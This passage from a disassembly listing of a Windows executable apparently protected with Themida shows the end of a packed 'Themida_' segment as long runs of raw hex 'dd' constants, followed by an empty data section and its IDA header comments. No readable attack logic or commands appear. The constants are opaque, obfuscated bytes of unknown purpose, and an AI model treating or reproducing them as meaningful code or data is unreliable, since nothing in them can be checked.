		dd 7B000000h, 0FD2453BAh, 9A9A1520h, 85007989h,	0B4A89935h
		dd 0E81BDE69h, 11h, 4607B67Dh, 0DB54BFDCh, 6829AE22h, 96EF108Dh
		dd 58ED8095h, 0F88B665Fh, 81D6BF0Fh, 453075CAh,	0C0BF0F13h
		dd 12E9h, 5D02DD00h, 7AB1DC60h,	0BEA5A42Ah, 0C6BC640Ch
		dd 8BDBF0BAh, 0CE9C8h, 45580000h, 0FDE56534h, 0CD196237h
		dd 0C2813650h, 60132507h, 0B1C1B70Fh, 0DA8166D1h, 0EE812B77h
		dd 10B61719h, 66C8BF0Fh, 2375DA81h, 0BF0FC68Bh,	5E9D3h
		dd 0C94C0000h, 50C388C3h, 8A5AECB5h, 80D38BCFh,	0E8534BCDh
		dd 11h,	4AA9B11Dh, 4AE1BB65h, 427B77ADh, 0AD628342h, 820FDFh
		dd 59000000h, 0DB81505Eh, 42BE0E31h, 60FC605Eh,	61C68B66h
		dd 0AE861h, 0D4380000h,	0C317B8ACh, 3148F9FEh, 7E8h, 9B607200h
		dd 0D812B786h, 0B9665F5Fh, 0E956D9B0h, 0Dh, 441502E5h
		dd 0FDAE0E53h, 0FF30B172h, 816658F0h, 8B2B4EC2h, 860F60CAh
		dd 4, 73CBBB66h, 0CE952h, 0AD250000h, 0E30CCB58h, 65E78AEh
		dd 6159162Eh, 15840Fh, 10E90000h, 0C1000000h, 1834D295h
		dd 866C13D1h, 0F266DC2h, 0F8436AF2h, 0F26419B8h, 0D18B6608h
		dd 4F80E281h, 13E963B3h, 0CA000000h, 5A13D7F2h,	795A9210h
		dd 8AAD2FF3h, 0D9CD5B8h, 8E95CEBh, 71000000h, 0E2EEF49Eh
		dd 0F099239h, 382h, 0AE48000h, 8AC78BFCh, 0FAD480EEh, 9E9h
		dd 927A4900h, 0CC05380Ch, 3DBE3FCEh, 8B06DD4Eh,	0FA8B66C7h
		dd 826ACB81h, 0EF816968h, 4D60FA8Eh, 14E851h, 0A1620000h
		dd 6287048Ah, 234E89C9h, 175FA65h, 9F403BD5h, 5E9B0E7h
		dd 8C000000h, 0FC11B410h, 8F0F5F5Ah, 0
		dd 0E870Fh, 9E90000h, 0B8000000h, 5596AF9Fh, 0BF2E61D9h
		dd 0E9D68B66h, 10h, 11B28C7Ah, 645F3632h, 0C370B4A1h, 0ECC70F21h
		dd 0FFB866F5h, 5E94Ah, 3BFB0000h, 66FC21FEh, 0D0D2E981h
		dd 0C303D881h, 0F8F55127h, 0D281E68Ah, 4220F60Bh, 9B6204BBh
		dd 8BF78B7Ch, 7E957D8h,	0E0000000h, 0C72541AAh,	0F5EFD82h
		dd 8Ch,	3FD38100h, 0F9206CE6h, 8A0F60FCh, 0
		dd 0CCB361F5h, 0FD3B70Fh, 8Fh, 0FE900h,	49890000h, 39610A95h
		dd 0BA82F257h, 7B02DB74h, 48D0F2Fh, 66000000h, 0BEA519BBh
		dd 2781333Ah, 12E9h, 9C301800h,	0A020025Eh, 0E8159E20h
		dd 975DA3B8h, 0FF9F49Fh, 386h, 0D68B6600h, 0B70FC38Bh
		dd 57F38BCBh, 12E8h, 7F66A400h,	11C49959h, 7193AEECh, 80959FFEh
		dd 5861D2D0h, 0BFE7815Bh, 0F517D83h, 986h, 3890F00h, 66000000h
		dd 0C781F18Bh, 35EAB1CCh, 57D18B66h, 0E1F02ABFh, 0EE95F45h
		dd 23000000h, 0A6AADF5Eh, 2228593Ch, 0CF10AD2Dh, 5BE38082h
		dd 830F07B1h, 3, 0FCBB70Fh, 0CD80F0BFh,	34BA662Dh, 9E89Eh
		dd 0A6E40000h, 0A800A606h, 80C62D85h, 0E85B0ADFh, 0Bh
		dd 900B02CBh, 0F21EE52Ch, 0F8F2BC3h, 289h, 5E585000h, 0F30BEAB9h
		dd 0B8BE6636h, 9E999h, 91090000h, 9F27EAA9h, 66FEFA04h
		dd 0CD9BE081h, 1860FF5h, 0F8000000h, 0B772DE80h, 0C3B55265h
		dd 9E958h, 0F41B0000h, 0CEC5B0D5h, 60C96696h, 0E90DCFBBh
		dd 0D18B6604h, 12E961h,	31530000h, 4737C856h, 0CBA81656h
		dd 9CECFFBCh, 0C3EE777Ah, 800Fh, 0C28A0000h, 18E0Fh, 0B0F90000h
		dd 0F8B9B7C6h, 0C3815E50h, 4A06ECE2h, 0A6F68166h, 0E4BE5743h
		dd 5A66D7BBh, 6E9h, 0E6218800h,	8A8D3B80h, 6CA4BFFDh, 81665B4Fh
		dd 81882EC8h, 0D7D9E1C7h, 0F7C9817Ah, 0F4E110Dh, 183h
		dd 0BA66F500h, 0F6002FEh, 280h,	505F5000h, 13E9h, 0ACAA6D00h
		dd 0F5FCB0B6h, 0C8A86DC4h, 22F4F229h, 200F4401h, 0C780615Bh
		dd 96E162Ch, 387h dup(96E16C5h), 4CDh dup(535F9256h), 967EA656h
		dd 0A4h	dup(967EA604h),	86h dup(778511FFh), 0A9DCAB27h
		dd 1D6h	dup(0A9DCAB24h), 6E57AB24h, 15Ah dup(6E575F41h)
		dd 0D2975F41h, 76h dup(0D2978AD4h), 0CCCCCCD4h,	6D6h dup(0CCCCCCCCh)
		dd 0CCh, 94h dup(0)
		db 3 dup(0)
byte_5D4D5B	db 0			; DATA XREF: ___:off_43162Co
		align 400h
Themida_	ends

; Section 5. (virtual address 001D5000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 001D5000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 5D5000h
		dd 80h dup(0)
		dd 5Ah dup(?)
dword_5D5368	dd 30h dup(?)		; DATA XREF: Themida_:00560CACo
		db 3 dup(?)
byte_5D542B	db ?			; DATA XREF: Themida_:loc_57174Fo
		align 1000h
_idata2		ends


		end start